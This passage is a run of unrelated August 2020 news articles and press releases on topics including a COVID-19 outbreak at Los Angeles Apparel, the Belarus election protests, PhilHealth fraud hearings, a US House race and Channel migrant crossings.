the facility is reporting cases that immediately come to their attention to Public Health as they have been instructed to do," a spokesperson for the health department told Business Insider. Visit Business Insider's homepage for more stories. Los Angeles Apparel founder Dov Charney denied last month that there is an "outbreak" of COVID-19 at his company, but local health officials say the brand which was shut down for weeks earlier this year after 375 employees tested positive for the coronavirus has reported two more cases of the viral disease over 14 days. "The investigation at LA Apparel is still an open outbreak investigation," a spokesperson for the Los Angeles County Department of Public Health told Business Insider last week. "Through our investigation of these two new cases, social distancing measures were adhered to and no other employees were exposed," the spokesperson added. "The facility will remain under surveillance." The company did not respond to a request for comment on what support it is providing infected staff or about the two other infections. Charney did not respond when Business Insider asked about the Department of Public Health's recent statement. In a July interview with Business Insider, Charney, the former head of American Apparel who was forced out over allegations of serial sexual harassment and financial mismanagement (allegations he denies), insisted that the problems at his company reflected the community with which it was in. Story continues "We have not had an outbreak at Los Angeles Apparel," Charney asserted, citing an infection rate of 15% that he said mirrored a local health clinic's test results. The clinic denied this, and his math hinged on there being 300 cases, not 375. By comparison, Los Angeles County's positive test rate has not exceeded 10% over the last two months. Now the toll has risen to at least 377, with four workers dead, according to the Los Angeles County Department of Public Health, which first shuttered Charney's operations in late June over what inspectors and former employees said was a lack of social distancing. "We live in a free society," Charney told Business Insider soon after. "It's not like Big Brother can be there all the time." After its closure, operations are up and running again under the eye of public health authorities, which say conditions have improved after their demands safety training for employees and better enforcement of physical distancing at their workplace were met. "The facility is under surveillance and is following infection control measures and the facility is reporting cases that immediately come to their attention... as they have been instructed to do," the spokesperson said. Reopened, Los Angeles Apparel is once more fulfilling mask orders for the federal government, including the US Air Force, as The Daily Beast reported, under a contract that labels the company a "small disadvantaged business." Have a news tip? Email this reporter: cdavis@insider.com Read the original article on Business Insider One way or another, U.S. Sen. Elizabeth Warren will be a featured speaker on the third night of the virtual Democratic National Convention next week when the party will officially nominate Joe Biden as its nominee for president. Warren, who has been vetted and in the running to become Bidens vice presidential running mate, was announced Tuesday as a Wednesday night convention speaker. Its the same night Hillary Clinton and former President Barack Obama will address Democrats, and the night Bidens pick for vice president will give a speech accepting the nomination. Biden is expected to announce his pick for vice president any day, and the former vice president has already made clear he intends to select a woman. A former vice president himself, Biden is also under pressure to choose a woman of color. The theme of Wednesday nights program will be A More Perfect Union. Other speakers Wednesday include House Speaker Nancy Pelosi, Wisconsin Gov. Tony Evers, New Mexico Gov. Michelle Lujan Grisham, and former Arizona Congresswoman Gabrielle Giffords. Warren isnt the only contender for the vice presidential slot to be announced as a speaker. Sen. Kamala Harris of California is expected to speak Thursday night if shes not the pick, according to the Democratic National Committee. The only other big name from Massachusetts announced as a speaker is former Secretary of State John Kerry, who will address the convention Tuesday night. The DNC runs Monday through Thursday from 9 p.m. to 11 p.m. each night. Before the pandemic, Democrats had planned to gather in Milwaukee, but the entire event will be conducted virtually instead. The Arts Council England has released its annual report for 2019 / 2020. Though it covers a period from April 2019 to March 2020, the report also provides reflections on the ongoing Covid-crisis and how it affects the arts. Earlier this month, culture secretary Oliver Dowden revealed that it may not be until November that venues will know if they can reopen without social distancing. In his opening statement, chair Nicholas Serota said: "The resilience and adaptability that people have shown in recent months is a clear demonstration of how an ability to think creatively is present in each of us." Serota provided a steely but blunt assessment of the current circumstances, which has seen almost every theatre across the UK close for the foreseeable future, while live performances indoors remain impossible under current government guidelines: "There will be no easy return to the world we formerly knew. We face an unprecedented challenge in supporting the cultural sector through the coming months and years, and there will be many difficult decisions to make." Chief executive Darren Henley was keen to emphasise just how dangerous it would be for the nation if the arts suffer further given the circumstances: "England's artists, arts organisations, museums and libraries form a precious national asset. They bring joy to millions of people, making villages, towns and cities across the country great places to live, work and study and helping to build stronger communities in the process. They are a driver for economic growth, providing employment, training and education in rural and urban settings." But Henley delivered the gravest assessment of all "We will not be able to save every organisation. Every loss is regrettable and will be keenly felt by the people these organisations employ, the artists they commission, and the communities and audiences they serve. However, by providing 140 million for organisations across these two Emergency Funds, we hope to have provided a buffer from the immediate financial shock, to preserve the foundations of our cultural infrastructure and ensure that we lay the best possible groundwork for a recovery." The report highlights how problems arising from Covid may not simply be a case of government not providing sector-specific support: "Covid-19 is also severely impacting on local government, the largest investor in the arts and culture sector in England. This has exacerbated our concerns over the possibility of further reductions in local authority investment." The organisation has also warned that a disruption to relationships with the EU could cause turbulence for the creative industries: "The final agreement will have significant implications for the arts and culture sector as it will determine future arrangements for touring, exporting to EU countries, and cultural exchanges." The cast of Reasons to be Cheerful Patrick Baldwin Over the 12 months covered in the report, ACE provided 4,564 grants and 753 development funds, while helping 53 capital projects. It supplied its 846 NPOs (National Portfolio Organisations) with 337m in conventional grants in total. Significantly, 99 per cent of organisations committed to greater environmental sustainability, championed by companies like Julie's Bicycle. There was a concerted effort to diversify and transform leadership, with 18 grants totalling 7.1 million provided to develop leadership skills for those from diverse backgrounds in the cultural sector, including three D/deaf and disability focused leadership development programmes led by Shape Arts, Graeae and Access All Areas. Pre-Covid, NPOs had succeeded in developing contributed income up 8 per cent on the year before. Serota also stated that technology is one frontier the organisation is particularly interested in "We continue to invest in projects that will unlock the creative potential of new technology. These include CreativeXR, our partnership with Digital Catapult which supports creative teams to develop work using immersive technology." Watch the New Saved By the Bell Make Fun Of Itself in Revival Trailer Welcome back to Bayside, where things are a little different this time around. Saved By the Bell is getting ready to return to TV with a "reimagining" headed to Peacock, and now you can get a real taste of what the show will be like, thanks to a new trailer. Original series stars Elizabeth Berkley and Mario Lopez are back in the main cast, along with Mark-Paul Gosselaar and Tiffani Thiessen and a whole new student body, led by Daisy (Haskiri Velazquez), Aisha (Alycia Pascual-Pena), Lexi (Josie Totah), Devante (Dexter Darden), and two serious troublemakers: Mac (Mitchell Hoog), the son of Zack and Kelly, and Jamie (Belmont Cameli), the son of Jessie Spano. Slater is the gym teacher, and Zack is naturally now the governor of California. According to the trailer, the grown-ups have certainly not forgotten about their school days, with Jessie even freaking out at the possibility that some of these teens might experiment with caffeine pills. Peacock Originals You can watch the trailer below! Creator Tracey Wigfield and a large chunk of the cast gathered together virtually for a panel during Peacock's summer press day and explained that while the new show is set in 2020, you can expect it to not get too modern. "The fun thing of our show is that Bayside is sort of this bubble that is a little bit like the Bayside you saw in the original show," Wigfield said. "It's a bunch of kind of weird, clueless kids who never have any real problems." Berkley said that for her, the show was a "done deal on the spot" after her very first meeting with Wigfield, and after learning that original producer Franco Bario would be involved. "What better time to bring something back that means so much to so many people and is a part of their childhood, but then introduce it to a whole new generation with this amazingly talented cast? To me, this was the right time," Berkley said. "While there had been other thoughts of revisiting it, this was the one." Story continues Velazquez, whose character Daisy is essentially the new Zack Morris, promised she will be taking on Zack's iconic time freezing. "At first it feels kind of odd breaking that fourth wall, because as actors, you're told, 'Don't look at the camera, like ever!'" she said. "I think it's really fun being able to connect with the audience despite them not really being there. It's gonna be really great." Saved By the Bell doesn't have a premiere date yet, but it's coming to Peacock "soon." E! and Peacock are both part of the NBCUniversal family. HOLYOKE A grassroots network of former administrators, family members and veterans are keeping pressure on state officials to release a plan to respond to a second potential outbreak of COVID-19 at the Holyoke Soldiers Home. The long-term care facility for veterans lost 76 residents a third of its population during the outbreak that erupted in March. The disease sickened many more residents and staff. Lead members of the Holyoke Soldiers Home Coalition on Tuesday called on the facility to publicize its plan to head off a second outbreak after regular testing among staff and residents yielded 11 positive results. The advocacy group ... is concerned about recent news that 11 people at the Home have again tested positive for COVID-19. The Coalitions analysis calls on the state to publicly report details of its infection control plans to confront the current outbreak and how the Soldiers Home will prevent an expected second wave of the COVID-19, read a statement issued Tuesday morning. A spokeswoman for the states Executive Office of Health and Human Services said those numbers represent recovered individuals who are asymptomatic whose tests showed positivity again. An update on the COVID-19 landscape at the Soldiers Home issued late Tuesday afternoon said in the latest rounds of testing no residents tested positive while three test results are pending. One patient refused testing. Some 110 residents remain on-site while 33 veterans are off-site 24 in a long-term care unit and nine in acute care. All employees were tested on Thursday and Friday last week and none tested positive for the virus, according to the state. The Soldiers Home prohibited visitors from March until June, then hosted controlled visits until a handful of positive tests bubbled up again and visits were halted on July 28. The coalition also is persisting in calls for accelerated capital improvements to the home, which former leaders attribute as a root cause of the fast-moving spread of the disease at the Soldiers Home particularly overcrowding in rooms and shared bathrooms. There is an April 15, 2021, deadline to submit a new construction grant application to the federal Veterans Administration. Additionally, the coalition urged the Soldiers Home to apply for federal CARES act funding to acquire a special disinfecting technology to prevent the spread of coronavirus. We have learned that the state has an opportunity to acquire the Xenex disinfection system, through the CARES Act, which could immediately help prevent COVID-19 from further spreading. Since the virus has re-emerged at the facility, each day of delay continues to put veterans and staff at the facility at further risk, the statement read. Coalition members contend the system is in use at a 250-bed, state-run nursing home facility in Tilton, New Hampshire, which reports zero cases of COVID-19. In addition to the high death toll, the outbreak led to a number of resignations and firings, including Bennett Walsh, former superintendent, who was first suspended in March then fired on June 24. Francisco Urena, secretary of the states Department of Veterans Services, resigned in June. While Walsh was skewered in the so-called Pearlstein Report commissioned by Gov. Charlie Baker and made public the same day, his attorney has argued the rampant spread of the virus had nothing to do with mismanagement and everything to with the stealthy, silent nature of the way the disease spreads from asymptomatic individuals. The report, however, characterized some of the early decisions at the home as baffling and catastrophic. Cash in bank totaled 17.8 million1 on June 30, 2020, compared with 16.6 million on December 31, 2019 Regulatory News: Advicenne (Paris:ADVIC) (BSE:ADVIC) today announced the reception of the first tranche of this loan, in the amount of 7.5 million. This drawdown implements the loan agreement with the European Investment Bank, signed in July 2019. This totally non-dilutive financing is structured in three tranches of 7.5 million, 5 million and 7.5 million. Its aim is to finance Advicenne's growth and support the company's research and development strategy as well as commercialization. The drawdown of the first tranche of 7.5 million brings the company's cash in bank to 17.8 million as of June 30, 2020, compared with 16.6 million on December 31, 2019. Advicenne thus has extended financial visibility with which to pursue its clinical research activities with confidence and to prepare market access for its lead drug candidate, ADV7103, in the treatment of distal renal tubular acidosis (dRTA). The registration dossier for ADV7103 is currently under review with the European Medicines Agency (EMA). "We are pleased to receive the first tranche in our financing agreement with the European Investment Bank," states Dr. Andre Ulmann, Advicenne Chief Executive Officer, "This support gives us increased visibility to pursue our development." About Advicenne Advicenne (Euronext: ADVIC) is a pharmaceutical company specializing in the development and commercialization of innovative treatments in the field of nephrology. Our lead drug candidate is currently in late-stage clinical trials for two kidney diseases: the renal tubular acidoses and cystinuria. ADV7103 has been granted orphan drug designation by the European Commission in the treatment of both conditions. Advicenne's ambition is to develop new medications based on an innovative formulation in order to respond to unmet medical needs, particularly in the field of nephrology. Headquartered in Paris, Advicenne has been listed on the Euronext Paris stock exchange since 2017 and was cross-listed on the Euronext Brussels stock exchange in 2019. Forward-Looking Statements This press release contains certain forward-looking statements relating to the business of Advicenne, which shall not be considered per se as historical facts. Such statements include projections and estimates, and the hypotheses on which these are based, as well as observations relating to operations, ongoing projects, objectives, the development of products and their future performance, and expectations regarding financial results. In some cases, forward-looking statements can be identified by words such as "could," "should," "may," "expects," "anticipates," "believes," "intends," "estimates," "aims," "targets" or similar words. Although the management of Advicenne believes that these forward-looking statements are reasonably made, investors should be aware that they are subject to a number of known and unknown risks and uncertainties and other factors that may cause actual results, performance or achievements to be materially different from any future results, performance or achievements expressed or implied by these forward-looking statements. In particular, the expectations of Advicenne could be affected by, among other things, uncertainties involved in the placing on the market and commercialization of Advicenne products or any other risks and uncertainties developed or identified in any public documents filed by Advicenne with the French Financial Markets Authority (Autorite des marches financiers (AMF)), including those listed in Chapter 4, "Risk Factors," of its reference document, filed with the latter on December 19, 2019, under number D.19-1036. Notwithstanding the compliance with article 223-1 of the General Regulation of the AMF (the information disclosed must be "accurate, precise and fairly presented"), Advicenne disclaims any intention or obligation to publicly update or revise any forward-looking statements, whether as a result of new information, future events or otherwise. Any information relating to the use of drug candidates contained in the present press release is based on the results of ongoing studies at the time of the release's publication. A drug candidate is a product that has not yet received marketing authorization from a health agency. 1 Unaudited financial data. View source version on businesswire.com: https://www.businesswire.com/news/home/20200811005607/en/ Contacts: Advicenne David Solomon, Andre Ulmann, Paul Michalet +33 (0)4 66 05 54 20 Email: investors@advicenne.com Financial Communications NewCap Dusan Oresansky Emmanuel Huynh +33 (0)1 44 71 94 92 Press Relations NewCap Nicolas Merigeau +33 (0)1 44 71 94 98 Email: advicenne@newcap.eu Press Release August 11, 2020 Zubiri Exposes PhilHealth Fraud Schemes: Rebates, Ghost Patients, Legal and Admin Cases Schemes Upon Tuesday's resumption of the Senate Committee on the Whole's hearing on the alleged corruption in the Philippine Health Insurance Corporation (PhilHealth), Senate Majority Leader Juan Miguel Zubiri gave a rundown of the corporation's history of corrupt practices, from its unreleased Interim Reimbursement Mechanism (IRM) funds to its non-existent and ghost patients, before exposing a number of questionable legal and administrative cases within PhilHealth. Unreleased IRM In addition to Ospital ng Maynila not receiving their IRM funds worth P 19.3M, Zubiri revealed that PhilHealth has also so far failed to act on the IRM fund applications of at least two other government healthcare institutions (HCIs). Western Visayas Medical Center (WVMC) in Iloilo City has reported P 121.4M in unreleased IRM funds. In Bacolod City, the Corazon Locsin Montelibano Memorial Regional Hospital (CLMMRH) is still waiting for the release of P 41.7M. Both WVMC and CLMMRH are handling COVID-19 cases. Non-Existent and Ghost Patients Zubiri also put a spotlight on the troubling phenomenon of nonexistent and "ghost" patients. The Senator brought up Golingay General Hospital in Malalag, Davao del Sur, as a prime example of the non-existent patient scheme. The infirmary, with its mere 18-bed capacity, received P 18M in claims in 2014, and almost P 10M in just the first semester of 2015. Ghost patients, meanwhile, are common in dialysis cases, Zubiri claimed, saying that there are hospitals that still claim unused dialysis sessions of patients who pass away before completing their 90-day sessions. He also alleged cases of upcasing in HCIsthe fraudulent practice of elevating minor illnesses for higher claims. Some HCIs, Zubiri said, upcase hypertension to mild stroke and charge as much as P 25,000 per claim. Zubiri also revisited the case of Pamela del Rosarioa supposed cancer patient from a hospital in Region 1. Her case report indicated that she, as well as both her parents, had cancer. This family was able to claim P 1.7M. However, the National Bureau of Investigation later found that Ms. Del Rosario and her family were entirely nonexistent. This has been well documented within PhilHealth as a clear case fraud. However, stringent legal action has yet to be done. Legal and Administrative Cases According to Zubiri, the Legal Sector and the PhilHealth administration are to blame for the continued proliferation of these schemes. "Problem number one, orders from the Legal Sector to ignore court rulings on fraud. Supreme Court and Court of Appeals Final Decisions on suspension of hospitals have remained unimplemented or ignored by PhilHealth," he said. He cited the CA decision on Perpetual Succor Hospital in Cebu, and the SC decision sustaining the suspension of General Santos Doctors Hospital for being found guilty of claiming payments for ghost patients. The former remains unenforced, while the latter has been put on hold. In the Pamela del Rosario situation, Zubiri revealed that cases against PhilHealth employees involved in the fake cancer claims were severely downgraded and then eventually dismissed. "Atty. Emily Roque filed only charges for simple misconduct against ten employees who had been positively identified by PhilHealth Anti Fraud Personnel," he explained. "Last year, the cases against these employees were dismissed." "The Fact-Finding Investigation and Enforcement Department personnel submitted a 200-page comprehensive report which was reduced to a twenty-page report by Internal Audit Department," he said. The original report clearly identified the role of each employee in the scam. This was lost in the Internal Audit report. Zubiri moved that the Senate subpoena the 200-page report. Furthermore, Zubiri pointed out that while majority of the claims in the Regional Office were being processed at sixty days, the Del Rosario claims were processed at an average of only ten days. Zubiri dug up further shortcomings of the Legal Sector, saying that SVP for Legal Rodolfo del Rosario Jr. has thus far failed to act on 220 cases against fraudulent HCIs. "Then-Region I RVP Rodolfo del Rosario refused to act on a directive from former OIC PCEO Dela Serna to file 200 counts of charges against Corpuz Hospital for documented fraud," Zubiri explained. These unfiled cases were remanded to the Legal Sector in 2019. Del Rosario is now SVP for Legal. The cases remain unfiled. "Kaya walang natatakot na mga erring HCIs, walang natatakot na hospital, dahil nga hindi naman sila kinakasuhan at hindi po sila pinaparusahan," Zubiri said. "Ang malaking parusa kasi ay yung suspension ng accreditationna hindi po ginagawa ng previous PhilHealth administrations." "Paano natin maaayos ang katiwalian sa PhilHealth kung wala namang kaso na fina-file at wala pong mga taong ikinukulong? Kung ganito ang pangyayari diyan sa loob ng PhilHealth?" Having laid out the schemes within PhilHealth, Zubiri has revealed the corporation's inter-departmental, cross-regional corruption to be a complicated web of fraudulence that is protected by PhilHealth's own legal and administrative mechanisms. MOUNTAIN VIEW, Calif., Aug. 11, 2020 /PRNewswire/ -- Rapyd, a global Fintech as a Service company, announced today a partnership with PayMyTuition, a leading provider of technology-driven global payment processing solutions for international tuition payments, that expands PayMyTuition's ability to accept payments via bank transfers from several countries in Latin America and Asia Pacific through Rapyd's platform, using a single API integration. The partnership will allow users in Latin America and APAC to quickly and easily transfer funds to over 600 universities in the United States and Canada, expediting settlement of tuition and fee payments to educational institutions for seamless enrollment of international students. "We are thrilled that PayMyTuition has selected Rapyd to further expand their payments technology across Latin America and APAC and we are very excited to partner with such a forward thinking and technology driven company as we expand our strategic partnerships into the education services industry," said Vinay Shiriwastaw, Head of Sales for the Americas at Rapyd. "We're confident that our in-depth local expertise and broad network reach will help accelerate PayMyTuitions' global facilitation of tuition payments for international students whether online or on-campus." Rapyd's expertise in global cross-border and local payments will expand PayMyTuition's presence in these regions by providing immediate access to a large network of banks in several countries in Latin America and Asia Pacific, increase cost efficiencies and provide the ability to collect funds in local currencies while settling in the US. The services offered via the Rapyd Collect platform will be launched in Latin America with countries including Mexico, Argentina, Colombia, among others and with plans to expand into Vietnam, Malaysia, Indonesia, the Philippines and additional countries in the APAC region, where the demand for tuition remittance services into the US is growing significantly. "We are excited to partner with Rapyd in order to expand our presence, in both LATAM and APAC, to deliver fast, reliable tuition payments to educational institutions across North America, growing our presence even further around the globe," said Arif Hariji, Chief Market Strategist at MTFX Group. "This partnership supports our company's overall initiative to ensure the delivery of best in class local experiences for our customers looking to send international tuition payments abroad, while ensuring the transactions are fast, secure, and cost-efficient." The Rapyd Collect platform enables companies to reach billions of consumers who prefer to transact with local payment methods such as ewallets, local cards, bank transfers and cash. Rapyd Collect bypasses legacy collection platforms through one API that works easily with over 900+ local payment methods in 100+ countries. The platform removes the complexities of local payments while streamlining operations from one platform and a single, integrated view of reconciliation, reporting, and funds settlement in 65+ currencies. For more information about Rapyd's Collect platform, visit www.rapyd.net/collect . About Rapyd Rapyd is the fastest way to power local payments anywhere in the world, enabling companies across the globe to access markets quicker than ever before. By utilizing Rapyd's unparalleled payments network and fintech as a service platform, businesses and consumers can engage in local and cross-border transactions in any market. The Rapyd platform is unifying fragmented payment systems worldwide by bringing together 900-plus payment methods in over 100 countries. Rapyd's investors include Stripe, General Catalyst, Oak FT, Tiger Global, Durable Capital, Target Global, TaL Capital and IGNIA. To learn more about the company that is accelerating the fintech as a service revolution, visit www.rapyd.net , read our blog , or follow us on LinkedIn and Twitter . About PayMyTuition by MTFX PayMyTuition is part of the MTFX Group of Companies, a foreign exchange and global payments solution provider with a track record of 23+ years, facilitating payments for over 8,000 corporate and institutional clients across North America. Last year MTFX Group processed over 10 billion in currency exchange across 220+ countries in over 120 different currencies. MTFX has built its reputation on amazing people and great technology. Using a blend of "high-tech" and "high-touch" solutions, MTFX has grown to become a leader in online foreign exchange and global payment services across North America. In addition to offering incredibly competitive currency exchange rates, MTFX's "high-touch" 24/7 multilingual customer support ensures that every transaction not only meets but exceeds the level of service our customers expect from us. MTFX is headquartered in Toronto, Canada with its US headquarters in Jersey City, NJ. For more information please visit www.paymytuition.com and www.mtfxgroup.com . SOURCE Rapyd Related Links rapyd.net Ex-Prosecutor Generals Office employee fined $2,000 for violent use against policeman RAPSI, Vladimir Burnov 16:26 11/08/2020 MOSCOW, August 11 (RAPSI) Moscows Dorogomilovsky District Court on Tuesday found ex-deputy chief of the security support department of the Prosecutor Generals Office Igor Mylnikov of use of force against a police officer and fined him 150,000 rubles ($2,000), RAPSI reported from the courtroom. The case was heard without examining evidence as the defendant had pleaded guilty. According to case papers, on June 29, police stopped Mylnikov who was in a drunken state in a public place. He was taken to a police station where he beat a police officer. After the incident Russias Prosecutor General Igor Krasnov fired Mylnikov. The main opposition leader in Belarus has fled to Lithuania 'for the sake of her children' amid deadly clashes after losing a disputed election to Alexander Lukashenko. Protesters fought police with stones and fireworks and were hit with rubber bullets and tear gas on the streets of Minsk as they accused strongman leader Alexander Lukashenko of stealing 80 per cent of the election vote to win a sixth term in power. Lukashenko's 37-year-old challenger Svetlana Tikhanovskaya also claimed victory in the poll and there were concerns for her safety after she failed to make contact with her campaign team last night. However, the foreign minister of Lithuania said this morning that Tikhanovskaya had crossed the border into the neighbouring ex-Soviet republic of Lithuania. In a video posted to Youtube before she left, Tikhanobskaya said: 'I thought that this campaign had really steeled me and given me so much strength that I could cope with anything. 'But I guess I'm still the same weak woman that I was.' Belarus police club a protester during a protest in Minsk last night where thousands raged at president Alexander Lukashenko in the wake of a disputed electoin A line of police block a road while tear gas wafts in the background during mass protests in Minsk which saw thousands of people turn out to demonstrate A police officer prepares to aim his weapon during the protests in the capital of Belarus last night after authoritarian leader Alexander Lukashenko claimed a sixth term Alexander Lukashenko, 65, (left) and opposition candidate Svetlana Tikhanovskaya, 37 (right) had both claimed victory after the Belarus presidential election 'I took a very difficult decision, I took it completely independently,' she says. 'My friends, relatives, campaign, Sergey [husband] could not influence it in any way and I know that many will understand me, many will condemn me, many will hate me. 'But I wouldn't wish this choice on anyone. So please look after yourselves, not one life is worth what is happening now. Children are the most important things in our lives.' In chaotic scenes last night, police used tear gas and stun grenades to quell the protests which erupted on the streets of the capital. 'Too many people are against Lukashenko,' Pavel, a 34-year-old protester, said. 'Our goal is to depose Lukashenko. He is not worthy of being president.' Economic damage caused by coronavirus - which Lukashenko swaggeringly dismissed as 'psychosis' - has caused widespread anger in the country. At one flashpoint in Minsk, protesters used sacks, buckets and metal barriers to build their own makeshift barricades. A man died when an explosive device went off in his hand Monday night, police said, confirming the first casualty of the post-election protests. 'One of the protesters tried to throw an unidentified explosive device at members of law enforcement. It exploded in his hand,' the interior ministry said. A police spokeswoman could not immediately say how many people had been injured in Monday's clashes. Tikhanovskaya had said earlier she would not take part in the demonstrations to avoid 'provocations.' 'The authorities should think about how to peacefully hand over power to us,' she told reporters. Riot police pass by two crying women during a protest the day after the presidential election in Minsk last night Thousands of protesters turned out to accuse Lukashenko of stealing the election after he claimed a sixth presidential term Police clash with a protester during the second night of protests, which saw one person (not pictured) killed by an explosive Riot police block an area of Minsk during the protest the day after the presidential election Tikhanovskaya decided to run for president after the authorities jailed her husband, popular blogger Sergei Tikhanovsky, and barred him from contesting. Her campaign galvanised the opposition, presenting the most serious challenge to 'Europe's last dictator' Lukashenko, 65, who has ruled Belarus since 1994. Tikhanouskaya's campaign rallies drew some of the biggest crowds since the fall of the Soviet Union in 1991. Lithuanian foreign minister Linas Linkevicius was among those to voice fears for Tikhanovskaya's welfare after failing to make contact with her on Monday night. However, early this morning he announced that Tikhanovskaya was safe and had crossed the border into Lithuania, which has a history of granting refuge to opposition figures from Belarus and Russia. Concern had grown after Tikhanovskaya went quiet following a three-hour meeting at the Central Election Commission headquarters on Monday. Tikhanovskaya lodged an official complaint after official results claimed Lukashenko had won more than 80 per cent of the vote, with Tikhanovskaya on 10 per cent. Opposition supporters clash with riot police in Minsk, where protesters were hit with rubber bullets and tear gas by authorities Police detain a protester during a mass protest following the presidential election in Minsk Riot police clear protesting people from an area in Minsk, following an election result which has led the main opposition candidate to flee the country The White House said on Monday it was 'deeply concerned' about 'intimidation of opposition candidates and the detention of peaceful protesters' in Belarus. European governments also questioned the results, with Germany voicing 'strong doubts' about the conduct of the vote and France urging restraint. But Russian President Vladimir Putin congratulated Lukashenko, a longtime ally, as did Chinese leader Xi Jinping. Lukashenko was defiant, vowing he would not allow Belarus to be 'torn apart.' 'We recorded calls from abroad. There were calls from Poland, Britain and the Czech Republic, they were directing our - forgive me - sheep,' Lukashenko said. Police said they detained some 3,000 people, around 1,000 of them in Minsk, after a first night of clashes on Sunday. Young protesters were seen covered in blood, lying immobile on the ground or being dragged away by police. The interior ministry said dozens were injured in the capital, accusing some protesters of sparking confrontations. The Belarusian Investigative Committee said it had opened 21 criminal probes into 'mass unrest' and using violence against police and detained more than 80 people. 'I am ashamed of what interior ministry forces did, I served in these forces,' Sergei, a 45-year-old sheet metal worker, said. Washington A group with ties to House Republican leaders has reserved an additional $2.7 million in TV ads to support Claudia Tenney in her campaign to win back the seat she lost to Rep. Anthony Brindisi. The new investment by the Congressional Leadership Fund more than doubles its existing $2.2 million ad reservation for Tenney in the 22nd Congressional District, bringing the total to almost $5 million. Congressional Leadership Fund said Tuesday the new spending is part of a $45 million second wave of TV ad reservations for House candidates in 40 media markets across the nation. The new ad reservation in the 22nd District is the groups largest in any single congressional district nationwide. All told, Republican groups in Washington, D.C., have announced plans to spend $8.2 million supporting Tenney this fall. Democratic groups have reserved at least $1.2 million in TV time for Brindisi, who has enough cash in his campaign account (about $2.75 million) to outspend Tenney by 4-to-1 in the final months of the election. The big spending from political groups outside of Upstate New York is the latest indication that the 22nd District will be one of the top battlegrounds in the 2020 election. President Donald Trump won the district by 15 percentage points in the 2016 presidential election. Brindisi, D-Utica, defeated Tenney by less than 2 percentage points in 2018, making it the most Trump-friendly district in the nation that flipped to Democrats. No polling information has been made public in this years Brindisi-Tenney rematch. If polls show that one candidate has opened a substantial lead before the Nov. 3 election, political groups could cancel their ad reservations in the 22nd District and redirect the money to other battleground House races. But if the election remains close, Democrats and Republicans are likely to spend more money supporting Brindisi and Tenney this fall. In 2018, political groups spent about $16 million on ads supporting Brindisi or Tenney. It was the most money independent groups spent on any House race in New York and the seventh-highest total spent in a congressional district nationwide. The 22nd Congressional District spans all of Madison, Oneida, Cortland and Chenango counties and portions of Oswego, Broome, Herkimer, and Tioga counties. MORE ON THE CAMPAIGN FOR CONGRESS Anthony Brindisi rejects Trumps idea to delay election, Claudia Tenney mum CNYs candidates for Congress: Trump should wait for invite before sending forces into cities Rep. Anthony Brindisi challenges Claudia Tenney to 4 debates; she asks for 8 Brindisi can outspend Tenney 4-to-1 in campaign for Congress Got a tip, comment or story idea? Contact Mark Weiner anytime by: Email | Twitter | Facebook | 571-970-3751 The government was warned nine months ago that its own policies were pushing migrants to take more dangerous routes across the English Channel in an official report by MPs, it can be revealed amid a surge in boat crossings. Priti Patel, the home secretary, was a member of the Foreign Affairs Committee when it heard evidence that the number of migrants trying to reach the UK by sea would rise and current measures were not working. The resulting report called for the government to increase legal routes to seek asylum, improve dire conditions in French camps, and address the root causes of migration. Released in November, it warned that spending tens of millions of pounds on security around key French ports had caused an increase in numbers trying to cross the Channel in small boats. A policy that focuses exclusively on closing borders will drive migrants to take more dangerous routes, and push them into the hands of criminal groups, the report said. In the absence of robust and accessible legal routes for seeking asylum in the UK, those with a claim are left with little choice but to make dangerous journeys by land and sea. On Monday, Ms Patel vowed to make crossings unviable and the prime minister called the journeys very bad, stupid, dangerous and criminal. More than 4,000 migrants have crossed the English Channel in small boats so far this year, including at least 600 in recent days. Chris Bryant, a Labour member of the Foreign Affairs Committee, told The Independent the influx wasnt only predictable, but we predicted it. He said that increased security at ferry ports and the Channel Tunnel had driven greater numbers of migrants to attempt small boat crossings, and the trend had worsened amid a fall in lorry traffic during the coronavirus pandemic. This government is dominated by people who are obsessed by what they think are the pull factors of migration to the UK, Mr Bryant said. A group of migrants crossing The Channel in a small boat headed in the direction of Dover, Kent, on 10 August (PA) The push factors are just as important war, famine, disease, social upheaval, these are the things that lead people to leave their own homes and thats why you need a holistic approach and to sit down with other countries. Mr Bryant said measures previously billed as clamp-downs had been notoriously ineffective. Speaking on Monday, Boris Johnson claimed the problem was that there are people who want to come from around the world to this country because obviously its a great place to be. The prime minister was accused of using inflammatory language after calling migrant boat crossings a very bad and stupid and dangerous and criminal thing to do. He said the government wanted to look at the legal framework that means that when people do get here, it is very, very difficult to then send them away again. Downing Street said Brexit would allow the UK to draw up a new framework for dealing with migrants outside the inflexible and rigid Dublin regulation. The UK has already made hundreds of deportation requests under the law, which requires asylum seekers to claim asylum in the first safe country they arrive in. As more asylum seekers were taken ashore on Monday, Ms Patel visited Dover to view Border Force operations to deal with what she called an unacceptable number of illegal small boat crossings. I am absolutely committed to making this incredibly dangerous route unviable, she added. Boris Johnson calls for legal change to 'send away' more asylum seekers amid surge in migrant boats The ministry of defence deployed a surveillance aircraft to the Channel amid discussions over the potential use of warships, and a former royal marine has been made clandestine channel threat commander. It came as Chris Philp, home office minister, prepared to meet French authorities in Paris to strengthen cooperation. British representatives stopped attending a key EU forum for discussing migration last year, and the Foreign Affairs Committee called for the government to urgently resume its presence at the table. Last month, the UK and France launched a new intelligence-sharing unit intended to crack down on traffickers who facilitate migrant boat crossings. Ms Patel and her French counterpart Gerald Darmanin stressed their shared commitment to returning boats in the Channel to France, rather than allowing them to reach the UK. Hundreds of millions of pounds have been spent in the last 10 years on bilateral arrangements, including the 2018 Sandhurst treaty. A joint action plan saw the UK pay 6m for increased security along the French coast, including beach patrols and drones. Pierre-Henri Dumont, who represents Calais in Frances National Assembly, told BBC Radio 4s Today programme that local authorities were already trying to do whatever we can. If youve got dozens of crossings a day, thats very difficult for us to stop, he added. It only takes five minutes to have a small boat at sea full with migrants, with a coast of 300km to monitor. Mr Dumont said he believed deploying royal navy ships wont change anything and called the move a political measure. Hundreds evicted from French refugee camp amid Channel crossings rise Show all 12 1 /12 Hundreds evicted from French refugee camp amid Channel crossings rise Hundreds evicted from French refugee camp amid Channel crossings rise French police officers and gendarmes stand by tents during the evacuation of the Grande Synthe migrant camp, northern France, on September 17, 2019. Francois Lo Presti/AFP/Getty Hundreds evicted from French refugee camp amid Channel crossings rise French gendarmes walk by tents during the evacuation of the Grande Synthe migrant camp, northern France, on September 17, 2019. Francois Lo Presti/AFP/Getty Hundreds evicted from French refugee camp amid Channel crossings rise French police officers move migrants on from a camp in Dunkirk, France, 17 September 2019. Care4Calais/PA Hundreds evicted from French refugee camp amid Channel crossings rise French police officers move migrants on from a camp in 